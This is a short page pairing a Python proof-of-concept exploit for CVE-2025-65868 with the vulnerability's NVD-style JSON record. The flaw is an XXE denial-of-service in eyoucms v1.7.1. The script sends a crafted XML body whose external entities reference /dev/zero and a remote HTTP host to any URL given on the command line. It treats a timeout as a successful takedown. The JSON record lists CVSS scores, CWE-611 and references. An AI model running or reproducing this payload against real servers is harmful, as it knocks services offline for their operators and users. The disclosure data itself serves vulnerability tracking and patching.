CVE-2025-65868

import requests import sys # CVE-2025-65868 XXE DoS PoC for eyoucms v1.7.1 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/index.php" # XXE payload that causes denial of service xxe_payload = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///dev/zero"> <!ENTITY xxe2 SYSTEM "http://non-existent-domain-12345.com/timeout"> ]> <foo>&xxe;&xxe2;</foo>''' headers = { 'Content-Type': 'application/xml', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } print(f"[*] Sending XXE payload to {target_url}") print(f"[*] Payload: {xxe_payload}") try: response = requests.post(target_url, data=xxe_payload, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Time: {response.elapsed.total_seconds()}s") except requests.exceptions.Timeout: print("[+] Target is not responding - DoS successful") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

{"cve": {"id": "CVE-2025-65868", "sourceIdentifier": "[email protected]", "published": "2025-12-03T21:15:52.967", "lastModified": "2025-12-16T19:13:40.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "XML external entity (XXE) injection in eyoucms v1.7.1 allows remote attackers to cause a denial of service via crafted body of a POST request."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eyoucms:eyoucms:1.7.1:*:*:*:*:*:*:*", "matchCriteriaId": "09E52F19-4AF6-470D-9A2A-21266A2F96C4"}]}]}], "references": [{"url": "https://github.com/weng-xianhu/eyoucms/issues/66", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/weng-xianhu/eyoucms/issues/66", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}